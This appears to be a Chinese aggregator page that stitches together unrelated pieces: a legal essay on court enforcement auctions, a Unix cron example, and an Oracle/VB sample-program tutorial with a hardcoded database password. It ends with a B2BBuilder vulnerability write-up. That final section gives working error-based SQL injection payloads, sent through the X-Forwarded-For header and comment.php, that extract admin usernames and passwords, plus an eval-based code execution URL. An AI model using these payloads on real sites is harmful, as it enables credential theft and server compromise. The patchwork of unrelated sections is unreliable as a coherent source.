拍卖又称竞卖,是以竞争出价的方法将财物卖给最高应价者的买卖方式,是缔结买卖合同的一种特殊方式。这是一般市场拍卖的概念,是商业界较为广泛使用的一种社会交易方式。拍卖这种方式在司法界也被广泛运用。人民法院的执行程序中就有这么一种特殊的程序-执行拍卖。通过这种特殊的程序,将被执行人的财产变卖为一定额量的价金,这对于保护债务人的合法利益、实现债权人的债权及法院执行工作的高效性均具有一定的意义。当然,司法界的执行拍卖与商业界的拍卖是有着本质性的区别的。首先,作为执行法院强制执行的一种措施,执行拍卖的对象是被执行人的财产,但并非被执行人的任何财产都可以任意拍卖。它有一定的限制。《民事诉讼法》第二百二十六条规定:“财产被查封、扣押后,执行员应当责令被执行人在指定期间履行法律文书确定的义务。被执行人逾期不履行的,人民法院可以按照规定交有关单位拍卖或者变卖被查封、扣押的财产。国家禁止自由买卖的物品。交有关单位按照国家规定的价格收购。”可见,被拍卖的财产首先必须是被查封或被扣押的财产。这也是将执行拍卖视为强制措施的原因之一。而市场拍卖往往是基于双方当事人的意思自由。
执行拍卖不仅在对象上有一定的限制,在程序上也有较多的约束。执行拍卖程序一般可分为准备和实施两个阶段。在准备阶段,执行法院首先要确定拍卖机构。《最高人民法院关于人民法院执行工作若干问题的规定(试行)》第四十六条第一款规定:“人民法院对查封、扣押的被执行人的财产进行变价时,应当委托拍卖机构进行拍卖。”可见,执行法院与拍卖机构是一种委托关系。但是,这种委托关系又不同于一般的委托。可以说执行法院是被执行人的委托人,拍卖机构在作为受托人的同时又是法院执行工作的协助人。所以,执行法院与拍卖机构除有一般委托的平等关系外,还有执法者与协助者的不平等关系。确定拍卖机构后,接着就需委托评估执行标的物的价格,并据此确定拍卖的底价。《最高人民法院关于人民法院执行工作若干问题的规定(试行)》第四十七条规定:“人民法院对拍卖、变卖被执行人的财产,应委托依法成立的资产评估机构进行价格评估。”之后也可以同时,拍卖机构发布拍卖公告,负责展示拍卖标的。这一阶段,执行法院还应通知当事人到场等。而在实施阶段,拍卖的操作主要由拍卖机构负责,执行法院到场监拍。中间出现中止拍卖、停止拍卖、撤回拍卖、再行拍卖等事由时,法院应立即书面通知拍卖机构。拍定后还要主持点、交拍卖标的,需要办理转移过户手续的,执行法院还要制作相应的裁定,等等。经过这些程序产生拍定结果的,就是一种买卖,成立了买卖契约。
从对执行拍卖的对象与程序看,不难看出:执行拍卖的法律性质公法性又有私法性。言其具有公法性,是因为其是法院行使强制执行权的行为,是公权力的表现,是公法处分。而言其具有私法性,是因为其程序与市场拍卖相似,其结果也与市场拍卖相近。也就是说,执行拍卖是运用私法买卖、通过公法程序转移物之所有权的一种财产处分方式。
其次,如上所述,执行拍卖既然具有公法性,那它必然需要有一定的公信力,这也是维护社会交易安全的需要。因为执行拍卖的买受人基于对社会交易安全的'信赖和公法处分信赖而善意取得拍卖物,其合法权益就应受到公信力保护,也就是说执行拍卖同样具有效力。而且,执行拍卖是国家强制执行机构凭借公权力而进行的,这种行为不仅需要取信于民,同时还必须承担相应的法律后果。这样,执行拍卖才会不断得到支持,这项工作才能比较顺利的进行。如果,执行拍卖没有公信力,或者是公信力让人怀疑,买受人的权利如何得以保护?债务人权利如何得以保护?债权人的权利又如何得以保护?执行拍卖中主要的三方利害关系人的权利都得不到相应保护,这执行拍卖如何进行?法院与之相关的执行工作能顺利开展吗?这一连串的问题只有通过执行拍卖公信力的确立与不断完善才能得以减缓,解决,甚至避免。所以,执行拍卖的公信力与市场拍卖的公信力也是有所不同的。执行拍卖中,拍卖程序已经终结,债务人通过其他途径使债权人对债务人的实体请求权不存在,债务人也不能因此主张拍卖无效来影响买受人已取得的拍卖物所有权。而在市场拍卖中,出现这种情况,拍卖也就自然无效。
最后,对于各方的权利上也有所不同。特别体现在瑕疵担保请求权上。在执行拍卖中,买受人对物的瑕疵无请求权,因为执行法院并非物这之所以有权人,被执行人虽为物之所有权人却非自愿出卖,故无从承担物的瑕疵担保责任。当然,权利瑕疵担保责任还是存在的,因为执行法院在委托拍卖前应当了解拍卖物的权利状况,并应责成拍卖机构于拍卖公告中声明权利瑕疵状况。若未声明的,买受人就有权请求返还价金的全部或部分,也可由执行法院责令被执行人弥补拍卖物的权利瑕疵。
综上可知,执行拍卖是一种特殊的物权变动方式,与市场拍卖相比有其许多特殊性。也正是这些特殊性让其在执行工作发挥作用。随着社会的发展,法制的不断健全与完善,执行拍卖在司法界的运用会更广,其作用也会更加显明。
篇8:定时执行程序Unix系统
3.4.4 定时执行程序
3.4.4 定时执行程序
Unix系统提供了cron和at命令,使系统和用户可以定时运行一定的程序,而不需手工启动,
使用 cron用于周期性的执行一个命令,为了使用它,必须编辑crontab文件,
用户也可以使用 crontab命令来创建和维护自己的crontab文件。
$ crontab -l
12 0 * * * /home/user/bin/getfiles
原文转自:www.ltesting.net
篇9:如何执行实例程序数据库教程
在服务器上的操作
(1)以system用户、SYSDBA身份登录【SQLPlus Worksheet】,执行creategraduateuser.sql文件创建用户graduateuser,
(2)执行createtablegraduateinfo.sql文件创建数据表graduateuser.graduate_info。
(3)执行createtabledirectorinfo.sql文件创建数据表graduateuser.director_info。
(4)执行createtablemajorinfo.sql文件创建数据表graduateuser.major_info。
(5)执行createindexgraduate.sql文件创建数据表graduateuser. graduate_info的姓名字段的索引。
(6)执行createindexdirector.sql文件创建数据表graduateuser. director_info的姓名字段的索引。
(7)执行createviewgraduate.sql文件创建数据表graduateuser. graduate_info的视图。
(8)执行createviewdirector.sql文件创建数据表graduateuser. director_info的视图。
(9)执行createviewmajor.sql文件创建数据表graduateuser. major_info的视图。
在客户机上的操作
(1)在客户机上调用Oracle 9i客户机的【网络配置助手】(Net Configuration Assistant)配置一个能够连接数据库服务器的【本地网络服务名称】,笔者配置的名称为myoraclelink。这个名称是可以任意取的。
(2)在客户机的【控制面板】/【32位ODBC】中创建一个系统数据源名称,这个名称必须是graduateDB。当然如果读者要采用自己的名称,可以在VB程序的模块MODULE1中进行适当的修改。修改的代码如下。
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
‘定义了名为ConnectString的无参数函数,连接数据库
Public Function ConnectString As String
ConnectString = “DSN=graduateDB;UID=graduateuser;PWD=12345678”
End Function
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
在客户机上运行程序
(1)将配套光盘上的Graduate.exe文件任意复制到客户机上,执行该文件出现如图10.55所示界面,
(2)出现如图10.56所示的【添加专业信息】界面。
(3)成功添加专业信息后出现如图10.57所示的提示界面。
(4)按照同样的步骤依次添加专业信息数据,这样添加后的专业数据将用于研究生信息录入和导师信息录入窗体使用。
(5)出现如图10.58所示的【添加导师信息】界面。
(6)成功添加导师信息后出现如图10.59所示的界面。
(7)按照同样的步骤依次添加导师信息数据。
(8)出现如图10.60所示的界面。
(9)成功添加研究生信息后出现如图10.61所示界面,单击“确定”按钮。
(10)出现如图10.62所示的【修改研究生信息】界面。
(11)出现如图10.63所示的【查询研究生信息】界面。
(12)在图10.55所示的系统主界面的【菜单栏】选择【退出系统】选项将退出系统。
(13)其他操作读者可以自行学习,这里不再赘述。
篇10:B2BBuilder头注入后台任意代码执行及注入
1、B2BBuilder头注入后台任意代码执行
构造头部测试:
x-forwarded-for:' and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,password,user,0x27,0x7e) from b2bbuilder_admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1
后台任意代码执行
在eval中用;就能分别执行两个命令,访问:
www.0day5.com/admin/module_translations.php?mod=;phpinfo()
2、B2BBuilder 又一注入漏洞
爆账号:
www.0day5.com/comment.php?ctype=2&conid=16873%20and(select%201%20from(select%20count(*),
concat((select%20(select%20(select%20concat(user,0x3A,password)%20
from%20b2bbuilder_admin%20Order%20by%20user%20limit%200,1)%20)%20
from%20`information_schema`.tables%20limit%200,1),floor(rand(0)*2))x%20
from%20`information_schema`.tables%20group%20by%20x)a)%20and%201=1
爆密码:
www.0day5.com/comment.php?ctype=2&conid=16873 and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,unhex(Hex(cast(b2bbuilder_admin.password as char))),0x27,0x7e) from `b2bbuilder`.b2bbuilder_admin Order by user limit 1,1) ) from `information_schema`.tables limit 0,1),floor(rand(0)*2))x from `information_schema`.tables group by x)a) and 1=1
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